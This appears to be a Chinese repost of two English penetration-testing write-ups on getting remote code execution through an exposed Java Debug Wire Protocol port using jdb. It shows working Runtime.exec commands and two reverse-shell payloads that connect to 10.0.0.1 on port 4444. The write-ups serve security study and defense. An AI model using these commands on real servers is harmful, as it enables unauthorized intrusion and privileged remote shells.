java debug 渗透测试

简介: http://blog.silentsignal.eu/2014/02/09/jdb-tricks-hacking-java-debug-wire/ http://pki.
http://blog.silentsignal.eu/2014/02/09/jdb-tricks-hacking-java-debug-wire/
http://pki.fedoraproject.org/wiki/Debugging_Dogtag
http://wiki.jerrypeng.me/source-notes-jetty.html
JDWP Arbitrary Java Code Execution Exploitation
===============================================
Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for
communication between a debugger and a Java Virtual Machine (JVM) as outlined in
the Java Platform Debugger Architecture. It is often used to facilitate remote
debugging of a JVM over TCP/IP and can be identified by the initial protocol
handshake ascii string "JDWP-Handshake", sent first by the client and responded
to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in
Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable
services. Typically this service runs on TCP port 8000 however it can be found
to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on
servers running Java services. It is possible to use this utility to exploit 
remote JVM's and execute arbitrary Java code. An example shown here outlines
how to leverage this weakness to execute arbitrary host OS commands in the
context of the JVM.

$ jdb -attach x.x.x.x:8000
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> 

Information leaks can be leveraged to determine details about the remote OS
platform and Java installation configuration through the "classpath" command.

> classpath
base directory: C:\Windows\system32
classpath: [ ** MASKED ** list of jar's loaded in remote JVM ]
bootclasspath: [ ** MASKED ** list of JRE paths ]
> 

jdb is capable of performing remote object creation and method invokation from
within the CLI using the "print" "dump" and "eval" commands with the "new"
keyword. To determine the classes and methods available use the "classes" and
then "methods" on the corrosponding class. 

> classes
...
java.lang.Runtime
...
> methods java.lang.Runtime
...
java.lang.Runtime exec(java.lang.String[])
...

It is often necessary to set the JDB context to be within a suspended thread or
breakpoint before attempting to create a new remote object class. Using the
"trace go methods" function can be used to identify a candidate for a breakpoint
and then "stop in your.random.class.method()" to halt the execution of a running
thread. When the execution is halted you can use "print new" to create your
class and invoke methods such as in the following example.

Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0
threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir")
new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502"
threadname[1] cont
> 

Exploitation success will be determined from the output of the JDB process as
functions returning "null" or errors about "unsuspended thread state" would
indicate that exploitation was unsuccessful, however in the example above we can
see that the java created a new object "java.lang.ProcessImpl@918502" indicating
the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting
to "java.lang.Runtime.getRuntime().exec()" however see the method / class
enumeration when attempting to exploit this flaw.


Your java will be executed in the context of the running JVM application, this
has been identified on services running as both "root" (*nix) and "SYSTEM"
(win32) in the wild. 


 -- prdelka
 
 
 
 
 
 
 
 

During a recent project we found a Java Debug Wire Protocol interface open at a server. I was a bit surprised when I was able to attach to it using JDB, the Java debugger – this was too easy. Or was it?

Prdelka has a pretty decent write-up on the exploitation over JDWP: you can basically instantiate any class from the classpath (and you can set the classpath yourself with the -D switch of jdb) and luckily you can also directly call the exec() method of the java.lang.Runtime class practically achieving remote code execution. It goes like this:

print new java.lang.Runtime().exec("ls")
 new java.lang.Runtime().exec("ls") = "java.lang.UNIXProcess@481adc30"

Well, that’s great, how about getting the output back or even an interactive shell maybe? That’s when things go painfully Java.

If you open the documentation of JDB you don’t see too much features to work with: a handful of commands, no scripting support and as it turns out the expression syntax  is also undocumented.

After a bit of experimenting you’ll find that although you can instantiate classes and call their methods, there is no easy way for storing the actual object instances which is pretty bad since Java requires a ton of boilerplate code for pretty much every basic operation. For example getting back one line of exec() output looks like this:

print new java.lang.String(new java.io.BufferedReader( \
new java.io.InputStreamReader( \ 
new java.lang.Runtime().exec("id").getInputStream())).readLine())
 new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("id").getInputStream())).readLine()) = "uid=1000(b) gid=1000(b) groups=1000(b)"

Still, I couldn’t figure a way to put this whole thing in a loop to read more lines. What about getting a reverse shell and getting rid of all the InputStream handling? Netcat was available on the target but without the -e option (aka GAPING_SECURITY_HOLE) enabled. There are of course a ton of other options to achieve the same result, but they all require either shell stream redirection or at least quoting. Since Runtime.exec() passess the commands directly to the OS, shell syntax doesn’t work immediately and also quotation marks are handled in a rather weird way by the JDB shell, so things like exec(“bash -c \”your > command\”") don’t work as expected. 

One possible solution to come over these limitations is to write out a shell script and then invoke it:

print new java.io.PrintWriter(new java.io.PrintWriter("/tmp/S2.sh"),true).println("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")

Note that since you can’t close() the PrintWriter instance you have to enable automatic flush that actually requires a PrintWriter instance to be wrapped by an other one…

The more elegant solution is to use Runtime.exec(String[]) interface and let the API take care of quotation. The problem is that it seems you can’t simply declare an array in the jdb shell. Luckily though you can invoke the split() method on a freshly instantiated String object:

print new java.lang.Runtime().exec(new java.lang.String("bashS2-cS2mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f").split("S2"))

So we successfully got our interactive shell with the privileges of the application server. Also, by this time PZ got root in a totally different way on the same server, more about that in a later post :)

If you know other useful tricks for JDB, don’t hesitate to share it in the comments!


目录
相关文章
|
7天前
|
SQL JavaScript 前端开发
基于Java访问Hive的JUnit5测试代码实现
根据《用Java、Python来开发Hive应用》一文,建立了使用Java、来开发Hive应用的方法,产生的代码如下
28 6
|
21天前
|
IDE Java 测试技术
揭秘Java高效编程:测试与调试实战策略,让你代码质量飞跃,职场竞争力飙升!
【8月更文挑战第30天】在软件开发中,测试与调试对确保代码质量至关重要。本文通过对比单元测试、集成测试、调试技巧及静态代码分析,探讨了多种实用的Java测试与调试策略。JUnit和Mockito分别用于单元测试与集成测试,有助于提前发现错误并提高代码可维护性;Eclipse和IntelliJ IDEA内置调试器则能快速定位问题;Checkstyle和PMD等工具则通过静态代码分析发现潜在问题。综合运用这些策略,可显著提升代码质量,为项目成功打下坚实基础。
35 2
|
29天前
|
XML Java 测试技术
Selenium WebDriver自动化测试(基础篇):不得不掌握的Java基础
关于Selenium WebDriver自动化测试的Java基础篇,涵盖了Java的变量、数据类型、字符串操作、运算符、流程控制、面向对象编程、关键字用法、权限修饰符、异常处理和IO流等基础知识点,为进行自动化测试提供了必要的Java语言基础。
19 1
|
1月前
|
Java 测试技术 API
Java 新手入门:Java单元测试利器,Mock详解
Java 新手入门:Java单元测试利器,Mock详解
84 1
|
1月前
|
Java 测试技术
Java SpringBoot Test 单元测试中包括多线程时,没跑完就结束了
Java SpringBoot Test 单元测试中包括多线程时,没跑完就结束了
23 0
|
2月前
|
测试技术 API Android开发
《手把手教你》系列基础篇(九十七)-java+ selenium自动化测试-框架设计篇-Selenium方法的二次封装和页面基类(详解教程)
【7月更文挑战第15天】这是关于自动化测试框架中Selenium API二次封装的教程总结。教程中介绍了如何设计一个支持不同浏览器测试的页面基类(BasePage),该基类包含了对Selenium方法的二次封装,如元素的输入、点击、清除等常用操作,以减少重复代码。此外,页面基类还提供了获取页面标题和URL的方法。
65 2
|
2月前
|
Web App开发 XML Java
《手把手教你》系列基础篇(九十六)-java+ selenium自动化测试-框架之设计篇-跨浏览器(详解教程)
【7月更文挑战第14天】这篇教程介绍了如何使用Java和Selenium构建一个支持跨浏览器测试的自动化测试框架。设计的核心是通过读取配置文件来切换不同浏览器执行测试用例。配置文件中定义了浏览器类型(如Firefox、Chrome)和测试服务器的URL。代码包括一个`BrowserEngine`类,它初始化配置数据,根据配置启动指定的浏览器,并提供关闭浏览器的方法。测试脚本`TestLaunchBrowser`使用`BrowserEngine`来启动浏览器并执行测试。整个框架允许在不同浏览器上运行相同的测试,以确保兼容性和一致性。
67 3
|
2月前
|
存储 Web App开发 Java
《手把手教你》系列基础篇(九十五)-java+ selenium自动化测试-框架之设计篇-java实现自定义日志输出(详解教程)
【7月更文挑战第13天】这篇文章介绍了如何在Java中创建一个简单的自定义日志系统,以替代Log4j或logback。
265 5
|
2月前
|
设计模式 测试技术 Python
《手把手教你》系列基础篇(九十二)-java+ selenium自动化测试-框架设计基础-POM设计模式简介(详解教程)
【7月更文挑战第10天】Page Object Model (POM)是Selenium自动化测试中的设计模式,用于提高代码的可读性和维护性。POM将每个页面表示为一个类,封装元素定位和交互操作,使得测试脚本与页面元素分离。当页面元素改变时,只需更新对应页面类,减少了脚本的重复工作和维护复杂度,有利于团队协作。POM通过创建页面对象,管理页面元素集合,将业务逻辑与元素定位解耦合,增强了代码的复用性。示例展示了不使用POM时,脚本直接混杂了元素定位和业务逻辑,而POM则能解决这一问题。
50 6
|
2月前
|
设计模式 Java 测试技术
《手把手教你》系列基础篇(九十四)-java+ selenium自动化测试-框架设计基础-POM设计模式实现-下篇(详解教程)
【7月更文挑战第12天】在本文中,作者宏哥介绍了如何在不使用PageFactory的情况下,用Java和Selenium实现Page Object Model (POM)。文章通过一个百度首页登录的实战例子来说明。首先,创建了一个名为`BaiduHomePage1`的页面对象类,其中包含了页面元素的定位和相关操作方法。接着,创建了测试类`TestWithPOM1`,在测试类中初始化WebDriver,设置驱动路径,最大化窗口,并调用页面对象类的方法进行登录操作。这样,测试脚本保持简洁,遵循了POM模式的高可读性和可维护性原则。
32 2